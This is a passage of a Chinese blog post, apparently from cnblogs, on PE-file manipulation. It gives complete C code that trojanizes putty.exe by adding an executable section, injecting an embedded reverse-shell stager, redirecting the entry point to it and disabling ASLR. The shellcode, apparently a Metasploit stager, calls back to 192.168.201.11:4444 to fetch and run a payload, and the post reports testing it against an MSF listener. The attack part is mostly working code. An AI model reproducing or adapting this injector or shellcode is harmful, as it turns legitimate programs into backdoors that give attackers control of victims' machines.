    ​ 这里注意最后要加上基址,因为程序真实加载到内存中,地址是基址+内存偏移的。

    ​ 知道这X和Y后,只需要做个减法就得到call指令的跳转地址了。注意在代码中我没有加上面公式中的“几个字节”,是因为我在shellcode数组后面已经加了这几个字节,这样shellcodeLength变量就包含了这几个字节,减少代码长度。

    // 添加call指令调用shellcode
    unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);
    
    // 注意下面有个+1,是因为我们要赋值到call的后面,不加1就会把call硬编码给覆盖了。
    memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));
    

    修改AddressOfEntryPoint

    ​ 注意AddressOfEntryPoint填的是内存偏移,不需要加上基址,这里我们直接修改AddressOfEntryPoint为上面新增的call指令的内存偏移就行,这样程序打开后就会先执行这条call指令调用shellcode了。

    // 修改OEP
    // call指令内存偏移 = 新增节区内存偏移 + shellcode长度得到
    unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
    pOptionalHeader->AddressOfEntryPoint = newOEP;
    

    禁用随机基址

    ​ 随机基址可以理解为:程序每次加载都不是以ImageBase作为基址,而是随机生成一个,主要用于防止程序被破解。PE文件结构中,当可选PE头的DllCharacteristics成员的高7位为1时,开启随机基址,要关闭就把高7位置0就行。

    // 关闭随机基址
    pOptionalHeader->DllCharacteristics &= 0xffbf;
    

    完整代码

    #define _CRT_SECURE_NO_WARNINGS
    #include <stdio.h>
    #include <stdlib.h>
    #include <Windows.h>
    char* readFile(const char* fileName);
    char* addSection(char* fileBuffer, unsigned long shellcodeLength);
    void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer);
    
    int main(int argc, char* argv[]) {
    	char* fileBuffer = readFile("C:\\Users\\XXX\\putty.exe");	// 读取PE文件
    	char buf[] =
    		"\xfc\xe8\x8f\x00\x00\x00\x60\x31\xd2\x89\xe5\x64\x8b\x52\x30"
    		"\x8b\x52\x0c\x8b\x52\x14\x31\xff\x8b\x72\x28\x0f\xb7\x4a\x26"
    		"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"
    		"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"
    		"\x85\xc0\x74\x4c\x01\xd0\x8b\x58\x20\x50\x8b\x48\x18\x01\xd3"
    		"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xac"
    		"\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"
    		"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
    		"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"
    		"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"
    		"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"
    		"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"
    		"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\xc9\x0b\x68\x02"
    		"\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
    		"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
    		"\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2"
    		"\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff"
    		"\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58"
    		"\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
    		"\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x75\xee\xc3\x00\x00\x00\x00\x00\x00\x00";	// 末尾加个7个字节
    
    	unsigned long shellcodeLength = sizeof(buf);
    	fileBuffer = addSection(fileBuffer, shellcodeLength);
    	injectShellcode(buf, shellcodeLength, fileBuffer);
    
    	return 0;
    }
    
    char* readFile(const char* fileName) {
    	// 打开文件
    	FILE* pf = fopen(fileName, "rb");
    	if (pf == NULL) {
    		printf("文件打开失败!");
    		return NULL;
    	}
    
    	// 获取文件大小
    	unsigned int fileSize = 0;
    	fseek(pf, 0, SEEK_END);
    	fileSize = ftell(pf);
    	fseek(pf, 0, SEEK_SET);
    
    	// 分配内存并初始化
    	char* fileBuffer = (char*)malloc(fileSize);
    	if (fileBuffer == NULL) {
    		printf("内存分配失败!");
    		return NULL;
    	}
    	memset(fileBuffer, 0, fileSize);
    
    	// 读文件
    	fread(fileBuffer, fileSize, 1, pf);
    
    	fclose(pf);
    	return fileBuffer;
    }
    
    char* addSection(char* fileBuffer, unsigned long shellcodeLength) {
    	// 解析PE文件
    	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    	if (ppSectionHeader == NULL) {
    		printf("内存分配失败!");
    		return NULL;
    	}
    	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
    	if (pFileHeader->NumberOfSections > 1) {
    		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
    			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
    		}
    	}
    
    
    
    
    	// 检查空间阶段
    	// 判断是否有足够空间添加节区头
    	char* start = (char*)(ppSectionHeader[pFileHeader->NumberOfSections - 1] + 1);
    	char* end = fileBuffer + ppSectionHeader[0]->PointerToRawData;
    	if (end - start >= 80) {
    		printf("有足够的空间添加节区头,共:%d个字节\n", end - start);
    	}
    
    	// 判断需要被填充为新节区头的部分是否存在其他数据
    	for (int i = 0; i < 40; ++i) {
    		if (start[i] != '\x00') {
    			printf("节区末尾空间不足,需要上移NT头!");
    			return NULL;
    		}
    	}
    
    
    
    
    	// 新增节区头并完善新节区头中的数据阶段
    	// 新增节区头并设置其属性
    	PIMAGE_SECTION_HEADER newPSectionHeader = (PIMAGE_SECTION_HEADER)start;
    	PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
    
    	// 将上一个节区头拷贝下来
    	memcpy(newPSectionHeader, lastPSectionHeader, IMAGE_SIZEOF_SECTION_HEADER);
    
    	// 设置节区名
    	memcpy(newPSectionHeader->Name, ".gcker", 7);
    
    	// 设置节区数据实际长度
    	newPSectionHeader->Misc.VirtualSize = shellcodeLength;
    
    	// 设置节区在内存中的偏移量
    	unsigned int size = 0;
    	if (lastPSectionHeader->Misc.VirtualSize < lastPSectionHeader->SizeOfRawData) {
    		size = (lastPSectionHeader->SizeOfRawData - 1) / pOptionalHeader->SectionAlignment + 1;
    	}
    	else {
    		size = (lastPSectionHeader->Misc.VirtualSize - 1) / pOptionalHeader->SectionAlignment + 1;
    	}
    	newPSectionHeader->VirtualAddress = size * pOptionalHeader->SectionAlignment + lastPSectionHeader->VirtualAddress;
    
    	// 计算在文件中对齐后的尺寸
    	newPSectionHeader->SizeOfRawData = ((shellcodeLength - 1) / pOptionalHeader->FileAlignment + 1) * pOptionalHeader->FileAlignment;
    
    	// 计算节区在文件中的偏移量
    	newPSectionHeader->PointerToRawData = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
    
    	// 给节区添加执行权限
    	newPSectionHeader->Characteristics |= 0x20000000;
    
    
    
    
    	// 修改PE结构其他成员阶段
    	// 设置节区头数量
    	pFileHeader->NumberOfSections += 1;
    
    	// 设置内存中整个PE文件尺寸,必须是SectionAlignment的整数倍
    	pOptionalHeader->SizeOfImage = ((pOptionalHeader->SizeOfImage + shellcodeLength - 1) / pOptionalHeader->SectionAlignment + 1) * pOptionalHeader->SectionAlignment;
    
    
    
    
    	// 新增节区数据
    	// 新增节区数据,用于存放机器码指令
    	unsigned int oldFileBufferSize = lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData;
    	fileBuffer = (char*)realloc(fileBuffer, oldFileBufferSize + newPSectionHeader->SizeOfRawData);
    	memset(fileBuffer + oldFileBufferSize, 0, newPSectionHeader->SizeOfRawData);
    	return fileBuffer;
    }
    
    void injectShellcode(char* shellcode, unsigned long shellcodeLength, char* fileBuffer) {
    	// 解析PE文件
    	PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
    	PIMAGE_NT_HEADERS32 pNtHeader = (PIMAGE_NT_HEADERS32)(fileBuffer + pDosHeader->e_lfanew);	// DOS头中的e_lfanew的值就是NT头的起始地址的偏移量
    	PIMAGE_FILE_HEADER pFileHeader = (PIMAGE_FILE_HEADER)&pNtHeader->FileHeader;	// NT头的FileHeader成员就是文件头,我们直接取其地址赋值即可
    	PIMAGE_OPTIONAL_HEADER32 pOptionalHeader = (PIMAGE_OPTIONAL_HEADER32)&pNtHeader->OptionalHeader;
    	PIMAGE_SECTION_HEADER* ppSectionHeader = (PIMAGE_SECTION_HEADER*)malloc(sizeof(PIMAGE_SECTION_HEADER) * pFileHeader->NumberOfSections);
    	if (ppSectionHeader == NULL) {
    		printf("内存分配失败!");
    		return;
    	}
    	ppSectionHeader[0] = (PIMAGE_SECTION_HEADER)((char*)pOptionalHeader + pFileHeader->SizeOfOptionalHeader);
    	if (pFileHeader->NumberOfSections > 1) {
    		for (int i = 1; i < pFileHeader->NumberOfSections; ++i) {
    			ppSectionHeader[i] = (PIMAGE_SECTION_HEADER)(ppSectionHeader[0] + i);
    		}
    	}
    	PIMAGE_SECTION_HEADER lastPSectionHeader = ppSectionHeader[pFileHeader->NumberOfSections - 1];
    
    	// 插入shellcode
    	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData, shellcode, shellcodeLength);
    	char newOpcode[] = "\xe8\x00\x00\x00\x00";
    	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength, newOpcode, sizeof(newOpcode));
    	unsigned int newOpcodeLength = sizeof(newOpcode) - 1;
    
    	// 添加call指令调用shellcode
    	unsigned long e8Address = (lastPSectionHeader->VirtualAddress + pOptionalHeader->ImageBase) - (lastPSectionHeader->VirtualAddress + shellcodeLength + 5 + pOptionalHeader->ImageBase);
    	memcpy(fileBuffer + lastPSectionHeader->PointerToRawData + shellcodeLength + 1, &e8Address, sizeof(unsigned long));
    
    	// 修改OEP
    	unsigned long newOEP = (unsigned long)(lastPSectionHeader->VirtualAddress + shellcodeLength);
    	pOptionalHeader->AddressOfEntryPoint = newOEP;
    
    	// 关闭随机基址
    	pOptionalHeader->DllCharacteristics &= 0xffbf;
    
    	// 写入文件
    	FILE* pf = fopen("C:\\Users\\XXX\\1.exe", "wb");
    	fwrite(fileBuffer, lastPSectionHeader->PointerToRawData + lastPSectionHeader->SizeOfRawData, 1, pf);
    	return;
    }
    

    测试

    MSF监听

    虚拟机执行生成的1.exe

    起飞~

    ​ 其实这个实验还是有不够完美的地方,就是由于我们直接调用了shellcode,程序一直在执行shellcode的指令,所有putty本身的代码没有执行了,所有运行起来的时候是看不到putty界面出来的。同时因为上移NT头的情况应该比较少见,而且相对不难,我这里就没有写出来了。

    结尾

    ​ 这些是我自己近期对PE文件学习的记录,文章中涉及的代码我尽量使用C语言的风格来写,代码可能也不是最优化的版本,无法适配所有环境(所以可能师傅们本地测试可能会报错hhh),仅供学习参考。文章中有不对的地方,还希望师傅们能多多指点一下~

  • 相关阅读:
    网络请求与远程资源
    JavaScript对象
    微信小程序抓包Charles
    归并排序
    顺序表
    后缀表达式
    中缀表达
    ES6 Promise
    Es 方法
    10.26学习
  • 原文地址:https://www.cnblogs.com/Gcker/p/16422990.html
Copyright © 2020-2023  润新知